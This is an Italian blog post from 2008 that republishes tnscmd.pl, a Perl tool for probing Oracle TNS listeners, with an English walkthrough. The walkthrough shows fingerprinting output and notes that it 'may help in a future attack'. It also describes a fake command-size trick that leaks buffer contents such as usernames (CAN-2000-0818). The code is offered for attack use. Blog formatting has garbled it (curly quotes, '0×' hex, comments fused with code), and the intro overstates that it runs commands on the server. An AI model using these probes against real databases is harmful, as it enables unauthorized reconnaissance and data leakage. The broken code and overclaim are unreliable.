SCRIPT – TNS COMMANDER Agosto 31, 2008
Posted by installatore in script.Tags: exploit, listener, Oracle, tns, tnscmd
trackback
Ciao a tutti con questo breve script in perl possiamo andare a utilizzare il servizio del listener di oracle per eseguire comandi random sul server.Ecco qui un abreve guida in inglese… e in fondo troverete lo script in perl….
Tnscmd can be used to communicate directly with Oracle’s TNS listener, (no client is needed). Unlike the Oracle
listener control utility LSNRCTL.exe, TNSCmd.pl does not need any connection strings and a direct
bi-directional conversation can be immediately established.
tnscmd by default will ping the stated host if no commands are supplied.
[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1
sending (CONNECT_DATA=(COMMAND=ping)) to 192.168.0.1:1521
writing 87 bytes
reading
…….”..=(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER))
The three stages that have occured are:
- the TNS command itself:
((CONNECT_DATA=(COMMAND=ping) - the raw TNS packet sent to the TNS listener: writing 87 bytes
- the raw TNS reply packet from the TNS listener: “..=(DESCRIPTION=(T etc.
The VSNNUM is the Oracle version no. in decimal, which can be converted from hex to give the version = 9.2
(which was actually 9.1i)
[root@localhost tnscmd]# perl tnscmd.pl version -h 192.168.0.1
sending (CONNECT_DATA=(COMMAND=version)) to 192.168.0.1:1521
writing 90 bytes
reading
.M…….6………-. ……….(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0))……….TNSLSNR
for 32-bit Windows: Version 9.2.0.1.0 – Production..TNS for 32-bit Windows: Version 9.2.0.1.0 – Production..Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production..
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 – Production,,………@
[root@localhost tnscmd]# perl tnscmd.pl status -h 192.168.0.1
sending (CONNECT_DATA=(COMMAND=status)) to 192.168.0.1:1521
writing 89 bytes
reading
. …….6………S. ………..]……..(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=
LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 – Production)(START_DATE=05-DEC200509:36:12)(SIDNUM=1)(LOGFILE=C:\oracle\ora92\
network\log\listener.log) (PRMFILE=C:\oracle\ora92\network\admin\listener.ora)(TRACING=off)
(UPTIME=3508960369)(SNMP=OFF)(PID=808)).a……..(ENDPOINT=(HANDLER=(HANDLER_
MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=0309991
D7055-491B-9C9467FF511E869)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=
(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,ENDPOINT=(HANDLER=
(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)
(HANDLER_ID=01AAF1D856D6-4DFB-987D-
See how confusing this is to read you should also pass the –indent option at the end of the command and proper formatting in human readable format will be carried out.
The above is just a small part of the results but the data highlighted tells us we are dealing with an Oracle 9i installation on Windows, SNMP is turned off and the location of the log file and with it the $ORACLE_HOME directory which may help in a future attack. It will also normally tell you the hostname and also other ports that are running Oracle process i.e. Port 2100 FTP etc.
Another command that could be tried that may provide details such as usernames is the following:
[root@localhost tnscmd]# perl tnscmd.pl -h 192.168.0.1 –cmdsize 40
This may return data from previous tns packets as the listener doesn’t always clear its buffers as effectively as it should do. If the above is successful try incrementing the cmdsize up to say 200 and maybe more will be returned. This vulnerability is present in early versions of Oracle and may not work on the current versions in use today. It’s still worth a try though.
#!/usr/bin/perl
#
# tnscmd – a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc + perl5
#
# Initial cruft: jwa@jammed.com 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also:
# http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818
# http://otn.oracle.com/deploy/security/alerts.htm
# http://xforce.iss.net/alerts/advise66.php
#
# GPL’d, of course. http://www.gnu.org/copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# complete rewrite
# – use IO::Socket instead of tcp_open
# – got rid of pdump()
# – put packet into @list and build it with pack()
# – added –indent option
#
#use IO::Socket;
use strict; # a grumpy perl interpreter is your friendselect(STDOUT);$|=1;
#
# process arguments
#my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq “-h”);
$main::port = shift @ARGV if ($arg eq “-p”);
$main::logfile = shift @ARGV if ($arg eq “–logfile”);
$main::fakepacketsize = shift @ARGV if ($arg eq “–packetsize”);
$main::fakecmdsize = shift @ARGV if ($arg eq “–cmdsize”);
$main::indent = 1 if ($arg eq “–indent”);
$main::rawcmd = shift @ARGV if ($arg eq “–rawcmd”);
$main::rawout = shift @ARGV if ($arg eq “–rawout”);
}if ($main::hostname eq “”) {
print <<_EOF_;
usage: $0 [command] -h hostname
where ‘command’ is something like ping, version, status, etc.
(default is ping)
[-p port] – alternate TCP port to use (default is 1521)
[--logfile logfile] – write raw packets to specified logfile
[--indent] – indent & outdent on parens
[--rawcmd command] – build your own CONNECT_DATA string
[--cmdsize bytes] – fake TNS command size (reveals packet leakage)
_EOF_
exit(0);
}# with no commands, default to pinging port 1521
$cmd = “ping” if ($cmd eq “”);
$main::port = 1521 if ($main::port eq “”); # 1541, 1521.. DBAs are so whimsical
#
# main
#my ($command);
if (defined($main::rawcmd))
{
$command = $main::rawcmd;
}
else
{
$command = “(CONNECT_DATA=(COMMAND=$cmd))”;
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
#sub tnscmd
{
my ($command) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i);print “sending $command to $main::hostname:$main::port\n”;
if ($main::fakecmdsize ne “”)
{
$cmdlen = $main::fakecmdsize;
print “Faking command length to $cmdlen bytes\n”;
}
else
{
$cmdlen = length ($command);
}$clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff;# calculate packet length
if (defined($main::fakepacketsize))
{
print “Faking packet length to $main::fakepacketsize bytes\n”;
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($command) + 58; # “preamble” is 58 bytes
}$plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff;$packetlen = length($command) + 58 if (defined($main::fakepacketsize));
# decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: command# the packet.
my (@packet) = (
$plenH, $plenL, 0×00, 0×00, 0×01, 0×00, 0×00, 0×00,
0×01, 0×36, 0×01, 0×2c, 0×00, 0×00, 0×08, 0×00,
0×7f, 0xff, 0×7f, 0×08, 0×00, 0×00, 0×00, 0×01,
$clenH, $clenL, 0×00, 0×3a, 0×00, 0×00, 0×00, 0×00,
0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
0×00, 0×00, 0×00, 0×00, 0×34, 0xe6, 0×00, 0×00,
0×00, 0×01, 0×00, 0×00, 0×00, 0×00, 0×00, 0×00,
0×00, 0×00
);
for ($i=0;$i<length($command);$i++)
{
push(@packet, ord(substr($command, $i, 1)));
}my ($sendbuf) = pack(“C*”, @packet);
print “connect “;
my ($tns_sock) = IO::Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => ‘tcp’,
Type => SOCK_STREAM,
Timeout => 30) || die “connect to $main::hostname failure: $!”;
$tns_sock->autoflush(1);print “\rwriting ” . length($sendbuf) . ” bytes\n”;
if (defined($main::logfile))
{
open(SEND, “>$main::logfile.send”) || die “can’t write $main::logfile.send: $!”;
print SEND $sendbuf || die “write to logfile failed: $!”;
close(SEND);
}my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));
if ($count != length($sendbuf))
{
print “only wrote $count bytes?!”;
exit 1;
}print “reading\n”;
# get fun data
# 1st 12 bytes have some meaning which so far eludes meif (defined($main::logfile))
{
open(REC, “>$main::logfile.rec”) || die “can’t write $main::logfile.rec: $!”;
}my ($buf, $recvbuf);
# read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_;# should have a hexdump option . . .
if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/00-\177/; # strip high bits
$response =~ tr/00-27/\./;
$response =~ tr/\177/\./;if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print “\n”;
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent);for ($i=0;$i<length($buf);$i++)
{
$c = substr($buf, $i, 1);
$indent++ if ($c eq “(“);
$indent– if ($c eq “)”);
if ($indent != $o_indent)
{
print “\n” unless(substr($buf, $i+1, 1) eq “(“);
print “ ” x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
Commenti»
No comments yet — be the first.